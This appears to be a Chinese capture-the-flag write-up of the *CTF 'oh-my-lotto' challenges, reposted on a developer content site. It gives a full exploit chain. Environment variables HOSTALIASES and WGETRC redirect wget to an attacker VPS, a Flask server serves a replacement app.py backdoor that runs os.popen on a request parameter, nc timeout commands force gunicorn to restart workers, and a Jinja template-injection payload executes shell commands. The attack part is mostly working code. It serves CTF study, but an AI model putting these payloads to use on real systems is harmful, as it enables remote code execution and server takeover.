概述
1NDEX
- 0x00 前言
- oh-my-lotto && revenge
- 官方预期解(两道通杀)
- brain.md
- 第一题wgetrc非预期
- 至此可出brain.md
- 第二题非预期
- 0x01 rethink
0x00 前言
回来复盘一下多种解法
oh-my-lotto && revenge
官方预期解(两道通杀)
HOSTALIASES可以设置shell的hosts加载文件
http://www.scratchbox.org/documentation/general/tutorials/glibcenv.html
参数
--content-disposition honor the Content-Disposition header when
choosing local file names (EXPERIMENTAL)
-N, --timestamping don't re-retrieve files unless newer than
请求的保存文件名将由服务方提供方指定的文件名决定
可对本地文件进行覆盖
brain.md
1.forecast上传host文件,将lotto指向自己的vps
2.修改环境变量HOSTALIASES,shell host加载我们上传的forecast.txt
3.vps挂恶意app.py回传覆盖原本的app.py 继而直接执行命令
VPS起个文件传输服务
filename一定要指定为app.py
from flask import Flask, make_response
import secrets
app = Flask(__name__)
@app.route("/")
def index():
with open('app.py',encoding='utf-8') as f:
r = f.read()
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=app.py'
return response
if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=80)
app.py
from flask import Flask,request
import os
app = Flask(__name__)
@app.route("/test", methods=['GET'])
def test():
a = request.args.get('a')
a = os.popen(a)
a = a.read()
return str(a)
if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0', port=8080)
嫖了freenom
host.txt
lotto your-domain
forecast上传host
set key value
lotto即可
可以看到app.py已经被覆盖了
but gunicorn 不是热加载
但gunicorn使用一种pre-forked worker的机制,当某一个worker超时以后,就会让gunicorn重启该worker,让worker超时的POC如下
timeout 50 nc ip port &
timeout 50 nc ip port &
timeout 50 nc ip port
覆盖完app.py后本地跑一下这个poc即可
不得不感叹官方解确实妙
第一题wgetrc非预期
如何找到命令源码包
- https://command-not-found.com/ 找到包名
- https://www.gnu.org/software/wget/
or apt-get source wget
源码包翻看可利用的环境变量
wgetrc可用于加载http代理
https://www.gnu.org/software/wget/manual/wget.html
传一个forecast试试
http_proxy = ip:7777
key: WGETRC
value: /app/guess/forecast.txt
至此可出brain.md
1.上传http_proxy 将请求转发到我们的vps上
2.vps修改host lotto->127.0.0.1,vps80端口起个服务直接返回我们上传的文件即可
起个evil.py
from flask import Flask, make_response
import secrets
app = Flask(__name__)
@app.route("/")
def index():
with open('test.txt',encoding='utf-8') as f:
r = f.read()
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
return response
if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=80)
上传test.txt
http_proxy = ip:80
设置WGETRC
直接lotto
第二题非预期
接上文wgetrc代理到我们自己的服务器
可以通过output_document指定输出位置
那么就能覆盖 template/index.html 或者直接覆盖app.py
覆盖app.py已做过演示
test一下ssti
from flask import Flask, make_response
import secrets
app = Flask(__name__)
@app.route("/")
def index():
with open('index.html',encoding='utf-8') as f:
r = f.read()
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=index.html'
return response
if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=80)
forecast.txt
http_proxy = ip:80
output_document = template/index.html
index.html
{{config.__class__.__init__.__globals__['os'].popen('evil command').read()}}
可以看到覆盖了
参考y4✌
https://y4tacker.github.io/2022/04/18/year/2022/4/2022-CTF-Web/#oh-my-lotto-revenge
0x01 rethink
抓紧复盘不摸鱼!
最后
以上就是过时学姐为你收集整理的【*CTF/starctf oh-my-lotto-revenge复盘】0x00 前言oh-my-lotto && revenge0x01 rethink的全部内容,希望文章能够帮你解决【*CTF/starctf oh-my-lotto-revenge复盘】0x00 前言oh-my-lotto && revenge0x01 rethink所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复